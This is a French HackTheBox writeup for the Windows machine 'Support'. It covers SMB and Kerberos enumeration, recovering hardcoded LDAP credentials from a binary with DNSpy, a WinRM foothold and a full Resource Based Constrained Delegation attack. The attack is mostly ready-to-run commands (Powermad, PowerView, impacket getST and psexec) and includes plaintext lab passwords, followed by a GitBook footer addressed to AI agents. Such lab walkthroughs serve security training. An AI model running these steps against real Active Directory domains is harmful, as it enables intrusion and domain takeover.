> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md). # Récapitulatif HackTheBox de Support Récapitulatif de la machine HackTheBox Windows facile Support couvrant l'énumération SMB, l'analyse binaire EXE, le débogage avec DNSpy, la définition de points d'arrêt et l'obtention d'un mot de passe LDAP en texte clair (DNSpy), avec prati {% embed url="" %} {% hint style="warning" %} **Compétences :** * Énumération SMB * Analyse binaire EXE * Débogage avec DNSpy * Définition de points d'arrêt et récupération d'un mot de passe LDAP en clair (DNSpy) * Énumération des utilisateurs Kerberos (kerbrute) * Énumération LDAP (ldapsearch) * Fuite d'informations * Exploitation du groupe Remote Management Users (Evil-WinRM) * Énumération avec SharpHound + BloodHound * Exploitation des comptes d'assistance partagés (GenericAll) (attaque RBCD) (Resource Based Constrained Delegation) * Attaque Resource Based Constrained Delegation - Création d'un objet ordinateur (powermad.ps1) * Attaque Resource Based Constrained Delegation - PowerView\.ps1 * Attaque Resource Based Constrained Delegation - Récupération du ticket de service usurpé (getST.py) * Utilisation du ticket pour obtenir un accès Administrateur (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

#### **Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts ```

**Analyse des versions des ports avec Nmap :** Utilisation de Nmap pour analyser les versions des ports et extraire les informations dans le fichier "targeted" : ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted ```

## **Énumération du contrôleur de domaine :** ### Liste SMB : Utilisation de CrackMapExec pour l'énumération SMB. ```bash crackmapexec smb 10.10.11.174 ```

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` fichier

### **Liste Kerberos :** Utilisation de Kerbrute pour énumérer les utilisateurs. ```bash kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt ```

### **Exploration des partages réseau :** Recherche de dossiers partagés sur le réseau. ```bash smbmap -H 10.10.11.174 -u none ```

```bash smbclient //10.10.11.174/support-tools -N ```

Nous découvrons un fichier zip intéressant appelé "UserInfo-exe-zip". Pour continuer, nous utilisons la `get` commande pour le télécharger sur notre machine.

### /*/* Analyse d'un fichier binaire Windows :/*/* Nous allons lancer un exécutable Windows sur une machine équipée de Windows. Pour cela, nous devons : 1. Transférer l'archive ZIP

2. Migration de la configuration VPN 3. `/etc/hosts` Configuration

Pour exécuter le binaire et identifier tous les utilisateurs valides, il suffit d'entrer la commande suivante ```bash ./UserInfo.exe find -first * -last * ``` #### Ce binaire nous permettra de lister les utilisateurs.

#### Analyse du fichier binaire Windows téléchargé avec DNSpy. {% embed url="" %}

### **Extraction d'un mot de passe en clair :** Utilisation de DNSpy pour extraire un mot de passe en clair d'un binaire Windows.

Nous allons exécuter le programme, mais nous nous arrêterons uniquement dans la section où le texte est en clair.

Voici le mot de passe LDAP :

### **Vérification du mot de passe LDAP :** Vérification du mot de passe extrait avec CrackMapExec. ```bash crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' ```

### Liste du domaine : ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 ``` #### Utilisateurs du domaine ``` enumdomusers ```

#### Groupes du domaine ```bash enumdomgroups ```

#### Descriptions des utilisateurs : ```bash querydispinfo ```

#### Insérer tous les utilisateurs valides du domaine dans un fichier. ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]' ```

#### Nous allons maintenant vérifier si le mot de passe LDAP est réutilisé pour l'un des utilisateurs suivants : ```bash crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success ``` Cependant, cela ne fonctionne pas.

### **Liste LDPA :** {% embed url="" %} #### Utilisation de la recherche LDAP pour énumérer des informations. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=" ``` #### Beaucoup de données sont disponibles, cependant, en appliquant un filtre sur les informations de la chanson, un mot de passe pour l'utilisateur support est découvert. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20 ```

## **Exploitation :** #### Utiliser CrackMapExec pour confirmer le mot de passe associé au compte support. ```bash crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` Cet utilisateur fait partie du groupe des utilisateurs de gestion à distance, ce qui nous permet de nous connecter via Windows Remote Management (WinRM). ```bash evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` ### **Utilisation d'Evil-WinRM :** Se connecter au système cible via Evil-WinRM en utilisant les informations identifiées obtenues.

## Élévation de privilèges ### **Vérification des privilèges actuels :**
En utilisant les `whoami /priv` commande pour vérifier les privilèges de l'utilisateur, sans succès.

### **Analyse des groupes d'appartenance :** En utilisant les `net user support` commande pour inspecter les groupes auxquels l'utilisateur appartient. Découverte d'un groupe apparemment rare, "shared support accounts".

### **Utilisation de BloodHound pour l'analyse des privilèges :** #### Utilisation de l'outil BloodHound pour cartographier les relations d'accès. {% embed url="" %}

### **Exécution de SharpHound pour une analyse plus poussée :** Utilisation de SharpHound, un outil complémentaire à BloodHound, pour collecter des données supplémentaires sur les relations d'accès. ```powershell ./SharpHound.exe -c All ```

## Vulnérabilité : attaque Resource Based Constrained Delegation : {% embed url="" %} ### **Identification de la vulnérabilité Resource Based Constrained Delegation :**

#### Déploiement du script Powermad pour créer un compte machine. {% embed url="" %} ```powershell upload Powemad.ps1 Import-Module ./Powermad.ps1 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` #### Utilisation de PowerView pour vérifier la création du compte machine. {% embed url="" %} ```powershell upload PowerView.ps1 Import-Module ./PowerView.ps1 ```

#### Définition des autorisations pour le compte machine à l'aide de commandes PowerShell. ```powershell $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} ``` #### Avec cette commande, nous vérifions si toute la procédure 'Get-DomainComputer dc' fonctionne en utilisant les propriétés 'msds-allowedtoactonbehalfofather identity'.

### **Exploitation de la vulnérabilité** #### Utilisation de l'outil Impacket pour exécuter la `getST` commande pour obtenir un ticket TGT qui usurpe l'utilisateur Administrator. ```bash impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456 ```

#### Configurez l'environnement Kerberos de l'utilisateur Administrator en exportant `KRB5CCNAME`, puis connectez-vous au système cible à l'aide d'Impacket `psexec`.
```bash export KRB5CCNAME=Administrator.ccache impacket-psexec -k dc.support.htb ```

### Drapeau final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.